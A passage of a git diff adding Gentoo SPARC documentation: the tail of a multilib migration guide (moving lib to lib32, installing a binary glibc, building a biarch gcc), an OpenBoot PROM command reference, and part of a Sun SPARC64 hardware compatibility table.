+
+<pre caption="Edit make.conf">
+$ <i>nano -w /etc/make.conf</i>
+<comment>(Add this at the end of the file)</comment>
+I_READ_THE_MULTILIB_MIGRATION_GUIDE="yes"
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Rename lib to lib32</title>
+<body>
+
+<p>
+Though it is not fully compliant with FHS, common practice in Gentoo is to store
+32 bit libraries in <e>lib32</e>, 64 bit libraries in <e>lib64</e> and to have
+<e>lib</e> as a symlink to the default library directory.
+</p>
+<p>
+The 2008.0 profile stores libraries in <e>lib</e>. These commands will rename
+all <e>lib</e> directories to <e>lib32</e> and create a symlink <e>lib</e> to
+<e>lib32</e>. Additionally they will create empty <e>lib64</e> directories.
+</p>
+
+<warn>
+Do not exit your shell while doing this! You would not be able to login again
+and would have to boot a livecd to recover.
+</warn>
+
+<pre caption="Rename lib to lib32">
+$ <i>mv /lib /lib32</i>
+# sln is a statically linked version of ln
+$ <i>sln lib32 /lib</i>
+$ <i>mkdir -p /lib64</i>
+$ <i>touch /lib64/.keep</i>
+$ <i>for dir in /usr/qt/*/lib /usr/kde/*/lib /usr/local/lib /usr/lib</i>
+  <i>do</i>
+    <i>if [ -d ${dir} ]</i>
+    <i>then</i>
+      <i>mv ${dir} ${dir}32</i>
+      <i>ln -sf lib32 ${dir}</i>
+      <i>mkdir -p ${dir}64</i>
+      <i>touch ${dir}64/.keep</i>
+    <i>fi</i>
+  <i>done</i>
+$ <i>ldconfig</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Remerge baselayout</title>
+<body>
+
+<p>
+For multilib profiles, <c>sys-apps/baselayout</c> installs additional files,
+like <path>/etc/env.d/04multilib</path>. To get these you need to remerge it.
+</p>
+
+<pre caption="Remerge baselayout">
+$ <i>emerge --oneshot sys-apps/baselayout</i>
+$ <i>env-update &amp;&amp; source /etc/profile</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Install a multilib glibc</title>
+<body>
+
+<p>
+To compile a multilib glibc you need a biarch gcc but to compile a biarch gcc
+you need a multilib glibc. You <e>could</e> compile glibc using a
+cross-compiler such as <c>sys-devel/kgcc64</c> but that is not something you
+would enjoy...
+</p>
+<p>
+Therefore we will install a binary packages of glibc first and afterwards,
+once the migration is complete, remerge it with your USE- and CFLAGS.
+</p>
+
+<pre caption="Install binary glibc package">
+# Note: We set PKGDIR to a temporary directory to avoid picking up local PKGs
+$ <i>PKGDIR="`mktemp -d`" PORTAGE_BINHOST="http://dev.gentoo.org/~bluebird/sparc-multilib/packages" emerge --getbinpkgonly --usepkgonly --oneshot sys-libs/glibc</i>
+</pre>
+
+<p>
+If you get <e>All ebuilds that could satisfy "sys-libs/glibc" have been
+masked.</e> try using a different version of glibc, these two are available as
+binary packages:
+</p>
+
+<ul>
+  <li><c>=sys-libs/glibc-2.8_p20080602-r1</c></li>
+  <li><c>=sys-libs/glibc-2.9_p20081201-r2</c></li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Install a biarch gcc</title>
+<body>
+
+<p>
+With a multilib glibc installed you can simply compile a biarch gcc using
+portage.
+</p>
+
+<pre caption="Install biarch gcc">
+$ <i>emerge --oneshot sys-devel/gcc</i>
+</pre>
+
+<p>
+Now you need to configure your system to use the newly installed gcc using
+gcc-config. Replace <e>4.3.2</e> with the version you just installed.
+</p>
+
+<pre caption="Set native-compiler">
+$ <i>gcc-config sparc-unknown-linux-gnu-4.3.2</i>
+$ <i>source /etc/profile</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Remerge glibc with your preferred settings</title>
+<body>
+
+<p>
+Remerge glibc with your system specific settings(USE-flags, CFLAGS and such).
+</p>
+
+<pre caption="Remerge glibc">
+$ <i>emerge --oneshot sys-libs/glibc</i>
+</pre>
+
+<p>
+If the glibc compilation finishes without any strange error messages it means
+that your multilib setup is working. You can use <c>file</c> to verify this by
+checking the contents of <path>/lib64</path>.
+</p>
+<pre caption="Verify multilib glibc installation">
+$ <i>file /lib64/libc-*.so</i>
+/lib64/libc-2.7.so: ELF 64-bit MSB shared object, SPARC V9, version 1 (SYSV), for GNU/Linux 2.6.9, stripped
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Unmerge kgcc64</title>
+<body>
+
+<p>
+<c>sys-devel/gcc</c> can compile the kernel now, therefore you don't need
+<c>sys-devel/kgcc64</c> anymore to do it. If you have some scripts that need
+it, just replace <e>sparc64-unknown-linux-gnu-gcc</e> with
+<e>sparc-unknown-linux-gnu-gcc -m64</e>.
+</p>
+
+<pre caption="Unmerge kgcc64">
+$ <i>emerge --unmerge sys-devel/kgcc64</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Remerge world</title>
+<body>
+
+<note>
+This step is optional.
+</note>
+
+<p>
+Your system was build with <e>lib</e> as library directory, now it's
+<e>lib32</e>. Though you will not notice anything because there is a symlink in
+place but if you have a lot of spare cpu time and like your system clean...
+</p>
+<p>
+Or in other words: If you are one of those guys who uses portage's
+multilib-strict feature just for the fun of it...this is for you!
+</p>
+
+<pre caption="Remerge world">
+$ <i>emerge --emptytree world</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Closing-off</title>
+<section>
+<title>Usage example</title>
+<body>
+
+<p>
+Here's a simple example how to compile a hello world programm in both 32 and
+64 bit.
+</p>
+
+<pre caption="Sample hello world program, hello_world.c">
+<ident>#include</ident> &lt;<var>stdio.h</var>&gt;
+<ident>#include</ident> &lt;<var>stdlib.h</var>&gt;
+
+<stmt>int main(int argc, char** argv)</stmt> {
+  <keyword>printf</keyword>("<const>hello, world\n</const>");
+  <keyword>return</keyword> <const>EXIT_SUCCESS</const>;
+}
+</pre>
+
+<pre caption="Compile it as 32 bit binary">
+$ <i>sparc-unknown-linux-gnu-gcc -m32 -o hello_world hello_world.c</i>
+or
+$ <i>sparc-unknown-linux-gnu-gcc -o hello_world hello_world.c</i>
+</pre>
+
+<note>
+If you specify neigther -m32 nor -m64 the compiler will default to -m32.
+</note>
+
+<pre caption="Compile it as 64 bit binary">
+$ <i>sparc-unknown-linux-gnu-gcc -m64 -o hello_world hello_world.c</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Things you shouldn't do</title>
+<body>
+
+<p>
+So now you have a multlib installation and you are thinking about adding -m64
+to CFLAGS in /etc/make.conf and recompiling your entire userland in 64 bit?
+PLEASE DO NOT!
+</p>
+
+<warn>
+<e>Doing this will render your system unusable!</e> Any bugs you report
+will just be closed without any further action.
+</warn>
+
+<p>
+While compiling everything in 64 bit may be a good idea on other 64 bit
+architectures, like AMD64, on SPARC it is not. There are good reasons why we
+have been using a pure 32 bit userland until now, some of these are:
+</p>
+
+<ul>
+  <li>32 bit is faster than 64 bit</li>
+  <li>32 bit is well tested, 64 bit isn't tested at all</li>
+  <li>2039 is still long way off</li>
+</ul>
+
+<p>
+The only reasons why it <e>might</e> be appropriate to compile an application
+in 64 bit are:
+</p>
+
+<ul>
+  <li>It needs to access more than 4GB of memory. In the real world this only
+  applies to huge databases.</li>
+  <li>It needs to talk to the kernel directly. Some applications, like
+  <c>net-firewall/iptables</c>, contain ugly hacks to support the 64 bit
+  kernel/32 bit userland thing.</li>
+  <li>It is a kernel.</li>
+</ul>
+
+<p>
+If you would like to read more about the differences between 32 and 64 bit,
+there are dozens of webpages about it on the internet, one of them is
+<uri>http://www.superlogic.net/downloads/pub/docs/64bit.htm</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/base/sparc/obpreference.xml b/xml/htdocs/proj/en/base/sparc/obpreference.xml
new file mode 100644
index 00000000..8013923e
--- /dev/null
+++ b/xml/htdocs/proj/en/base/sparc/obpreference.xml
@@ -0,0 +1,342 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/base/sparc/obpreference.xml" lang="en">
+<title>OpenBoot PROM (OBP) Reference</title>
+
+<!-- {{{ header stuff -->
+<author title="Author"><mail link="ciaranm@gentoo.org">Ciaran McCreesh</mail></author>
+
+<abstract>
+The OpenBoot PROM (OBP) Reference provides a list of useful OBP commands that
+can help when booting, configuring and performing diagnostics upon Sun SPARC
+hardware and clones.
+</abstract>
+
+<license />
+<version>1.1</version>
+<date>May 6th, 2004</date>
+<!-- }}} -->
+
+<chapter><title>About this Document</title> <!-- {{{ -->
+<section>
+<body>
+  <p>This document provides a list of useful OBP commands that can be helpful
+    when booting, configuring and performing diagnostics upon Sun SPARC hardware
+    and clones.</p>
+  <p>Note that not all commands are available on all PROM versions. In
+    particular, sun4c systems have a different input mode, and some JavaStation
+    models are missing a lot of OBP functionality.</p>
+  <p>OBP is somewhat inconsistent when it comes to command names. Sometimes
+    hyphens are used to seperate words, sometimes they are not. Some 'hidden'
+    commands start with a dot.</p>
+  <p>The terms "OBP", "OpenBoot PROM" and "PROM" are used interchangably in this
+    document.</p>
+</body>
+</section>
+</chapter> <!-- }}} -->
+
+<chapter><title>Entering OBP</title> <!-- {{{ -->
+  <section><title>Systems with Sun Keyboards</title> <!-- {{{ -->
+  <body>
+    <p>On regular Sun systems (and clones which use Sun keyboards), press
+      <c>Stop+A</c> when the system boots to enter OBP. The <c>Stop</c> key is
+      the top left key on the extra block of keys on the left hand side of the
+      keyboards (on really old systems it might be marked <c>L1</c>).</p>
+    <p>The <c>Stop+N</c> keyboard combination at boot will reset many systems to
+      the default PROM settings. <c>Stop+D</c> will enable diagnostics on some
+      boards.</p>
+  </body>
+  </section> <!-- }}} -->
+  <section><title>Over Serial Console</title> <!-- {{{ -->
+  <body>
+    <p>To enter OBP over serial console, send a break. In minicom, do this by
+      pressing <c>ctrl+A F</c>. In xc, use <c>ctrl+A B</c>.</p>
+  </body>
+  </section> <!-- }}} -->
+  <section><title>Systems with Non-Sun (PC Style) Keyboards</title> <!-- {{{ -->
+  <body>
+    <p>On systems with PC-style keyboards (such as JavaStations and some Ultra
+      clones), <c>ctrl+break</c> or <c>alt+ctrl+break</c> is generally used.</p>
+    <p>Note that on the JavaStation JK, <c>ctrl+break</c> will restart the box
+      rather than enter PROM. To get at OBP, you will need to set jumper J1300
+      pins 7-8 on the mainboard.</p>
+  </body>
+  </section> <!-- }}} -->
+</chapter> <!-- }}} -->
+
+<chapter><title>Basic System Commands</title> <!-- {{{ -->
+  <section><title>Halting and Restarting</title> <!-- {{{ -->
+  <body>
+    <p>The <c>power-off</c> command will halt the box and turn off power. This
+      command is sometimes screwy on Ultra5/10 systems.</p>
+    <p>The <c>reset</c> command will perform a soft reset. If diagnostics are
+      enabled, they will <e>not</e> be rerun. In some documents, this command is
+      refered to as <c>reset-all</c>.</p>
+    <p>The <c>boot</c> command boots the system. A parameter may be provided to
+      override the default boot device -- this can be a full device name or a
+      device alias such as <c>disk</c>, <c>cdrom</c> or <c>net</c>. Any
+      additional arguments are passed to the bootloader or operating system.</p>
+  </body>
+  </section> <!-- }}} -->
+
+  <section><title>PROM and System Information</title> <!-- {{{ -->
+  <body>
+    <p>The <c>.version</c> command will show the OBP version.</p>
+<pre caption=".version output"><![CDATA[
+{0} ok .version
+Release 3.7 Version 0 created 1997/01/09 13:06
+OBP 3.7.0 1997/01/09 13:06
+POST 3.2.1 1996/12/20 03:01
+]]></pre>
+    <p>The <c>banner</c> command will show the system information banner.</p>
+<pre caption="banner output"><![CDATA[
+{0} ok banner
+Sun Ultra 2 UPA/SBus (2 X UltraSPARC-II 296MHz), No Keyboard
+OpenBoot 3.7, 704 MB memory installed, Serial #9705521.
+Ethernet address 8:0:20:94:18:31, Host ID: 80941831
+]]></pre>
+    <p>The <c>.speed</c> command will show bus speeds.</p>
+<pre caption=".speed output"><![CDATA[
+{0} ok .speed
+CPU  Speed : 296.00 MHz
+UPA  Speed : 098.66 MHz
+SBus Speed : 025.00 MHz
+]]></pre>
+  </body>
+  </section> <!-- }}} -->
+
+  <section><title>Device Information</title> <!-- {{{ -->
+  <body>
+    <p>The <c>show-devs</c> command will give a list of devices available to the
+      system.</p>
+    <p>The <c>probe-scsi</c> command will show internal SCSI devices available
+      to the system. The <c>probe-scsi-all</c> command will show both internal
+      and external devices on every SCSI interface. After running either of
+      these commands, you <e>must</e> issue a <c>reset-all</c> before trying to
+      boot an operating system.</p>
+<pre caption="probe-scsi-all output"><![CDATA[
+{0} ok probe-scsi-all
+This command may hang the system if a Stop-A or halt command
+has been executed.  Please type reset-all to reset the system
+before executing this command.
+Do you wish to continue? (y/n) y
+/sbus@1f,0/SUNW,fas@e,8800000
+Target 1
+  Unit 0   Disk     SEAGATE ST34371W SUN4.2G74629710B00491
+                    Copyright (c) 1997 Seagate
+                    All rights reserved
+]]></pre>
+    <p>The <c>probe-ide</c> command is also available on IDE-based
+      systems.</p>
+<pre caption="probe-ide output"><![CDATA[
+ok probe-ide
+  Device 0  ( Primary Master )
+          ATA Model: ST320420A
+
+  Device 1  ( Primary Slave )
+          ATA Model: Maxtor 6E040L0
+
+  Device 2  ( Secondary Master )
+         Not Present
+
+  Device 3  ( Secondary Slave )
+         Not Present
+]]></pre>
+  </body>
+  </section> <!-- }}} -->
+
+</chapter> <!-- }}} -->
+
+<chapter><title>Environment Variables and Device Aliases</title> <!-- {{{ -->
+  <section><title>Getting and Setting Environment Variables</title> <!-- {{{ -->
+  <body>
+    <p>Use <c>printenv</c> to get a list of environment variables. To see the
+      value of a specific variable, use <c>printenv fnord</c>.</p>
+    <p>To set a variable, use <c>setenv myvar the new value</c>.</p>
+    <p>To restore a variable's default value, use <c>set-default blah</c>. To
+      revert <e>all</e> variables to default, use <c>set-defaults</c>.</p>
+    <p>Note that boolean variables usually end in a <c>?</c>, and that they are
+      seperate from variables of the same name without the question mark. The
+      values <c>true</c> and <c>false</c> are used for booleans.</p>
+  </body>
+</section> <!-- }}} -->
+
+  <section><title>Useful Environment Variables</title> <!-- {{{ -->
+  <body>
+    <p>Some useful environment variables:</p>
+    <table>
+      <tr><th>Variable</th><th>Meaning</th></tr>
+      <tr><ti><c>ttya-mode</c></ti><ti>Sets the baud rate and related settings
+          used by the serial console. By default <c>9600,8,n,1,-</c> is used,
+          meaning 9600 baud, 8 bits, no parity, one stop bit, no flow
+          control.</ti></tr>
+      <tr><ti><c>auto-boot?</c></ti><ti>By default OBP will automatically boot
+          upon startup. Set this to <c>false</c> if you'd rather send the boot
+          command manually.</ti></tr>
+      <tr><ti><c>boot-device</c></ti><ti>When auto-booting, and when <c>boot</c>
+          is issued with no arguments, this variable is used to determine the
+          boot device. More than one value can be provided (space seperated), in
+          which case each is tried in turn. Each value can be a full device path
+          or a device alias.</ti></tr>
+      <tr><ti><c>diag-device</c></ti><ti>As <c>boot-device</c>, but used when
+          <c>diag-switch?</c> is enabled.</ti></tr>
+      <tr><ti><c>local-mac-address?</c></ti><ti>If set, network interfaces will
+          use their own MAC rather than the system-wide MAC. This is consistent
+          with how PCs behave, and in violation of the Ethernet
+          specification.</ti></tr>
+      <tr><ti><c>diag-switch?</c></ti><ti>If set, additional diagnostic checks
+          will be run at power on. Note that this can take a <e>very</e> long
+          time on SMP and / or HyperSparc systems. In addition, the
+          <c>diag-device</c> variable will also be used to determine the boot
+          device rather than <c>boot-device</c>. Some systems have a mainboard
+          jumper or a switch on the front of the machine which forces this
+          setting on.</ti></tr>
+    </table>
+  </body>
+</section> <!-- }}} -->
+
+  <section><title>Getting and Setting Device Aliases</title> <!-- {{{ -->
+  <body>
+    <p>Device aliases can be used to simplify the arguments to many commands.
+      Instead of typing <c>boot /sbus/SUNW,hme@e,8c00000</c>, for example, one
+      could use <c>boot net</c>. A number of device aliases are defined by
+      default on every system.</p>
+    <p>To view all device aliases, use the <c>devalias</c> command. To view a
+      specific alias, use <c>devalias whatever</c>. To set a device alias, use
+      <c>devalias whatever newvalue</c>.</p>
+  </body>
+</section> <!-- }}} -->
+
+  <section><title>Changing Monitor Resolutions</title> <!-- {{{ -->
+  <body>
+    <p>The <c>output-device</c> variable can be used to control which
+      framebuffer is used, and at what resolution it is run, for PROM console.
+      For example, to use the Creator card on an Ultra 1C or 2 at a resolution
+      of 1024x768@76Hz:</p>
+<pre caption="Changing Monitor Settings"><![CDATA[
+{0} ok devalias screen /SUNW,ffb
+{0} ok setenv output-device screen:r1024x768x76
+]]></pre>
+    <p>Changes will not take effect until after a reset. Not all resolutions and
+      refresh are available on all cards.</p>
+  </body>
+  </section> <!-- }}} -->
+</chapter> <!-- }}} -->
+
+<chapter><title>Diagnostics</title> <!-- {{{ -->
+  <section><title>Entering Diagnostic Mode</title> <!-- {{{ -->
+  <body>
+    <p>Before running any diagnostics, it is best to enable <c>diag-switch?</c>
+      and do a full power off / on cycle (hard power off). Additional diagnostic
+      information will be provided over the serial console when the machine
+      boots.</p>
+  </body>
+  </section> <!-- }}} -->
+
+  <section><title>Basic Tests</title> <!-- {{{ -->
+  <body>
+    <p>If the power on self test (POST) succeeds, additional tests can be
+      performed using the <c>test</c>, <c>test-all</c>, <c>watch-net</c> and
+      <c>watch-clock</c> commands.</p>
+    <p>The <c>test somedevice</c> command will perform checks upon the specified
+      device (this can be a full device path or a device alias).</p>
+<pre caption="Example Tests"><![CDATA[
+{0} ok test scsi
+        CE DMA fill from address fff8e000 for 80 bytes   succeeded.
+         Dma register test -- succeeded.
+         Esp register test -- succeeded.
+         Dma read test -- succeeded.
+         Dma write test -- succeeded.
+{0} ok test /sbus/SUNW,hme
+Internal loopback test -- succeeded.
+Transceiver check  -- Using Onboard Transceiver - Link Up.
+passed
+{0} ok test ttya
+ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmn
+]]></pre>
+    <p>The <c>test-all</c> command will perform checks upon every device capable
+      of self tests.</p>
+    <p>The <c>watch-net</c> command can be used to watch for broadcast packets
+      being sent over the network.</p>
+    <p>The <c>watch-clock</c> command can be used to verify that the internal
+      clock is working. It should count from 0 to 59 in a loop with an interval
+      of one second.</p>
+  </body>
+  </section> <!-- }}} -->
+
+  <section><title>Extended Diagnostics Using obdiag</title><!-- {{{ -->
+  <body>
+    <note>The <c>obdiag</c> routines are only available on the Ultra 5/10 and
+      later.</note>
+    <p>To enable extended diagnostics mode, run the following:</p>
+<pre caption="Entering obdiag"><![CDATA[
+ok setenv mfg-mode on
+mfg-mode =            on
+ok setenv diag-switch? true
+diag-switch? =        true
+# this may not work on all systems
+ok setenv diag-level max
+diag-level =          max
+ok setenv auto-boot? false
+auto-boot? =          false
+ok reset-all
+ok obdiag
+]]></pre>
+    <p>This should display a menu. First, select <c>16</c> to enable verbose
+      messages.</p>
+<pre caption="obdiag menu"><![CDATA[
+          OBDiag Menu
+
+  0 ..... PCI/Cheerio
+  1 ..... EBUS DMA/TCR Registers
+  2 ..... Ethernet
+  3 ..... Keyboard
+  4 ..... Mouse
+  5 ..... Floppy
+  6 ..... Parallel Port
+  7 ..... Serial Port A
+  8 ..... Serial Port B
+  9 ..... NVRAM
+ 10 ..... Audio
+ 11 ..... EIDE
+ 12 ..... Video
+ 13 ..... All Above
+ 14 ..... Quit
+ 15 ..... Display this Menu
+ 16 ..... Toggle script-debug
+ 17 ..... Enable External Loopback Tests
+ 18 ..... Disable External Loopback Tests
+
+ Enter (0-13 tests, 14 -Quit, 15 -Menu) ===> 16
+ Enter (0-13 tests, 14 -Quit, 15 -Menu) ===>
+ ]]></pre>
+    <p>Individual tests can then be run by selecting the relevant number. Note
+      that some tests (for example, serial ports) assume that an external
+      loopback connector is attached. The Ethernet test assumes that a cable is
+      attached and connected to a switch.</p>
+    <p>To exit, use <c>14</c>.</p>
+  </body>
+  </section> <!-- }}} -->
+</chapter> <!-- }}} -->
+
+<chapter><title>References</title> <!-- {{{ -->
+  <section> <!-- {{{ -->
+  <body>
+    <ul>
+      <li>OpenBoot 3.x Quick Reference, Sun P/N 802-3240 (<uri
+        link="http://sunsolve.sun.com/data/802/802-3240/pdf/802-3240-10.pdf">PDF
+        Version)</uri></li>
+      <li>OpenBoot 3.x Command Reference, Sun P/N 802-3242 (<uri
+        link="http://sunsolve.sun.com/data/802/802-3242/html/TOC.html">HTML
+        Version)</uri></li>
+      <li>OpenBoot 3.x Supplement for PCI, Sun P/N 802-7679 (<uri
+        link="http://sunsolve.sun.com/data/802/802-7679/pdf/">Collection of
+        PDF files)</uri></li>
+    </ul>
+  </body>
+  </section> <!-- }}} -->
+</chapter> <!-- }}} -->
+
+</guide>
+
+<!-- vim: set tw=80 et ts=2 sw=2 sts=2 foldmethod=marker : -->
diff --git a/xml/htdocs/proj/en/base/sparc/sunhw.xml b/xml/htdocs/proj/en/base/sparc/sunhw.xml
new file mode 100644
index 00000000..9061e8a0
--- /dev/null
+++ b/xml/htdocs/proj/en/base/sparc/sunhw.xml
@@ -0,0 +1,172 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/base/sparc/sunhw.xml" lang="en">
+<title>Linux/SPARC64 Sun Hardware Compatibility List</title>
+
+<!-- {{{ header stuff -->
+<author title="Author"><mail link="gustavoz@gentoo.org">Gustavo Zacarias</mail></author>
+
+<abstract>
+This Hardware Compatibility List details different Sun SPARC64 systems and
+linux kernel combinations that have been tested by the developer and user
+community with their known caveats.
+</abstract>
+
+<license />
+<version>1.1</version>
+<date>Mar 7th, 2009</date>
+<!-- }}} -->
+
+<chapter><title>About this document</title> <!-- {{{ -->
+<section>
+<body>
+  <p>This document provides a listing of different Sun SPARC64 machine models
+    and their compatibility with different linux kernel versions.</p>
+  <p>This document does not guarantee that you will have similar results with
+    the same hardware, but simply documents the experiences of others.  Please
+    keep this in mind if you are thinking of making purchasing decisions based
+    on this document.</p>
+  <note>Unless otherwise stated the Net, Sound and Framebuffer columns are
+  specifying builtin devices.</note>
+</body>
+</section>
+</chapter> <!-- }}} -->
+
+<chapter><title>Recommended kernel versions</title> <!-- {{{ -->
+<section>
+<body>
+  <p>We currently recommend 2.6-series kernels since 2.4-series are being
+    phased out for Gentoo/SPARC and don't support the latest hardware like
+    UltraSPARC-T1 processors. Usually the latest stable is preferred.</p>
+</body>
+</section>
+</chapter> <!-- }}} -->
+
+<chapter><title>Hardware compatibility reports</title> <!-- {{{ -->
+  <section><title>2.4 series kernels</title> <!-- {{{ -->
+  <body>
+    <table>
+      <tr><th>Model</th><th>Kernel</th><th>Stability</th><th>OBP</th>
+          <th>Net</th><th>Sound</th><th>Framebuffer</th><th>Submitter</th>
+	  <th>Comments</th></tr>
+      <tr><ti>E250</ti><ti>2.4.32-sparc-r4</ti><ti>Excellent</ti><ti>3.22.0</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>Permedia 2 (PCI)</ti><ti>gustavoz</ti>
+	  <ti>Permedia for console only using PROM_CONSOLE, RSC isn't supported at all</ti></tr>
+      <tr><ti>E4000</ti><ti>2.4.32-sparc-r2</ti><ti>Excellent</ti><ti>N/A</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>Turbo GX</ti><ti>Afsin Taskiran</ti>
+	  <ti>Used as firewall with 9 ethernet interfaces</ti></tr>
+      <tr><ti>E420R</ti><ti>2.4.32-sparc-r1</ti><ti>Excellent</ti><ti>3.23.0</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>ATI Rage (PCI)</ti><ti>gustavoz</ti>
+	  <ti>4x450 mhz</ti></tr>
+      <tr><ti>E6500</ti><ti>2.4.33.3-sparc</ti><ti>Excellent</ti><ti>3.2.30</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>alunduil</ti>
+	  <ti>7x400mhz</ti></tr>
+      <tr><ti>Ultra 2</ti><ti>2.4.32-sparc-r1</ti><ti>Excellent</ti><ti>3.25.0</ti>
+          <ti>YES</ti><ti>YES</ti><ti>Creator3D Series 1</ti><ti>Weeve</ti>
+	  <ti>2x300MHz</ti></tr>
+      <tr><ti>Ultra 5/10</ti><ti>2.4.32-sparc-r4</ti><ti>Excellent</ti><ti>3.31.0</ti>
+          <ti>YES</ti><ti>YES</ti><ti>Onboard ATI (PCI)</ti><ti>gustavoz</ti>
+	  <ti>None</ti></tr>
+      <tr><ti>Netra X1</ti><ti>2.4.32-sparc-r5</ti><ti>Excellent</ti><ti>N/A</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>tomric</ti>
+	  <ti>400/500 mhz IIe</ti></tr>
+    </table>
+  </body>
+  </section> <!-- }}} -->
+  <section><title>2.6 series kernels</title> <!-- {{{ -->
+  <body>
+    <table>
+      <tr><th>Model</th><th>Kernel</th><th>Stability</th><th>OBP</th>
+          <th>Net</th><th>Sound</th><th>Framebuffer</th><th>Submitter</th>
+	  <th>Comments</th></tr>
+      <tr><ti>Blade 100</ti><ti>2.6.16-rc1</ti><ti>Excellent</ti><ti>4.17.1</ti>
+          <ti>YES</ti><ti>YES</ti><ti>Onboard ATI Rage XL (PCI)</ti><ti>Weeve</ti>
+	  <ti>500MHz, works great with Sun compatible Symbios PCI SCSI controller and drives.</ti></tr>
+      <tr><ti>Blade 1000</ti><ti>2.6.15.1</ti><ti>Very good</ti><ti>4.16.4</ti>
+          <ti>YES</ti><ti>YES</ti><ti>XVR-100 (PCI)</ti><ti>Weeve</ti>
+	  <ti>2x750MHz, BBC_I2C driver impacts system performance, using in kernel ALSA drivers for onboard CS4231 and Hercules Game Theater XP sound devices.</ti></tr>
+      <tr><ti>Blade 1000</ti><ti>2.6.25-gentoo-r6</ti><ti>Excellent</ti><ti>4.13.0</ti>
+        <ti>YES</ti><ti>YES</ti><ti>Elite3D m3</ti><ti>fmccor</ti>
+	  <ti>1x900MHz+1x750MHz, using kernel ALSA sound driver for snd_ens1371 (PCI
+      card).</ti></tr>
+      <tr><ti>E3000</ti><ti>2.6.22-gentoo-r9</ti><ti>Excellent</ti><ti>3.2.20</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>None</ti><ti>brendan</ti>
+	  <ti>4x336mhz, 4MB cache, 4GB ram, Sun FC-AL</ti></tr>
+      <tr><ti>E420R</ti><ti>2.6.15-gentoo-r1</ti><ti>Very good</ti><ti>3.23.0</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>ATI Rage (PCI)</ti><ti>gustavoz</ti>
+	  <ti>4x450mhz</ti></tr>
+      <tr><ti>E420R</ti><ti>2.6.25-gentoo-r6</ti><ti>Very stable</ti><ti>3.31.0</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>None</ti><ti>Sebastian Sitaru</ti>
+	  <ti>4x450mhz, 4096MB</ti></tr>
+      <tr><ti>Netra T1-105</ti><ti>2.6.15-gentoo-r7</ti><ti>Very good</ti><ti>3.10.24</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>the_eye</ti>
+	  <ti>360Mhz</ti></tr>
+      <tr><ti>Netra T1-105</ti><ti>2.6.17-gentoo-r9</ti><ti>Very good</ti><ti>3.10.27</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>gablau</ti>
+	  <ti>440Mhz, 1GB ram, 2x18GB SCSI RAID1 software, SILO 1.4.13</ti></tr>
+      <tr><ti>Ultra 2</ti><ti>2.6.15.1</ti><ti>Very good</ti><ti>3.25.0</ti>
+          <ti>YES</ti><ti>YES</ti><ti>Creator3D Series 1</ti><ti>Weeve</ti>
+	  <ti>2x300MHz, using kernel provided ALSA drivers, high I/O loads on rare occasion cause a lockup (just seems to be when I'm intentionally trying to do this these days)</ti></tr>
+      <tr><ti>Ultra 2</ti><ti>2.6.20-gentoo-r7</ti><ti>Excellent</ti><ti>3.19.0</ti>
+        <ti>YES</ti><ti>N/A</ti><ti>Creator3D Series 3</ti><ti>fmccor</ti>
+	  <ti>2x400MHz, Up 124 days now without any failures at all.  Old problems are fixed.</ti></tr>
+      <tr><ti>Ultra 2</ti><ti>2.6.17-gentoo-r8</ti><ti>Excellent</ti><ti>3.25.0</ti>
+          <ti>YES</ti><ti>YES</ti><ti>CG6</ti><ti>alexbuell</ti>
+	  <ti>2x300Mhz, 2GB, no lockups, CG6 does console right but fails with xorg 7.1.1</ti></tr>
+      <tr><ti>Ultra 5/10</ti><ti>2.6.20-gentoo-r4</ti><ti>Excellent</ti><ti>3.31.0</ti>
+          <ti>YES</ti><ti>YES</ti><ti>Onboard ATI (PCI)</ti><ti>gustavoz</ti>
+	  <ti>snd-sun-cs4231 for alsa audio.</ti></tr>
+      <tr><ti>Ultra 60</ti><ti>2.6.16-rc2</ti><ti>Excellent</ti><ti>3.31.0</ti>
+          <ti>YES</ti><ti>YES</ti><ti>Creator3D Series 3</ti><ti>Weeve</ti>
+	  <ti>1x450MHz, Haven't tested X on this particular machine, but this framebuffer and system combination known to work for others</ti></tr>
+      <tr><ti>Ultra 60</ti><ti>2.6.15-gentoo-r4</ti><ti>Excellent</ti><ti>3.29.0</ti>
+          <ti>YES</ti><ti>NO</ti><ti>Elite3D m3</ti><ti>fmccor</ti>
+	  <ti>2x450MHz, X (X-modular = xorg-x11-7.0-r1) on this system is fine.</ti></tr>
+      <tr><ti>Ultra 80</ti><ti>2.6.16-rc2</ti><ti>Very good</ti><ti>3.23.0</ti>
+          <ti>YES</ti><ti>Untested</ti><ti>Elite3D</ti><ti>Etaoin Shrdlu</ti>
+	  <ti>4x450Mhz, server tasks, no X</ti></tr>
+      <tr><ti>T2000</ti><ti>2.6.17-rc2</ti><ti>Unknown</ti><ti>4.19.0</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>pkessler,Pyretic</ti>
+	  <ti>Needs silo 1.4.11+, vanilla-sources-2.6.17-rc2+ and the latest experimental 2.6 livecd to install.</ti></tr>
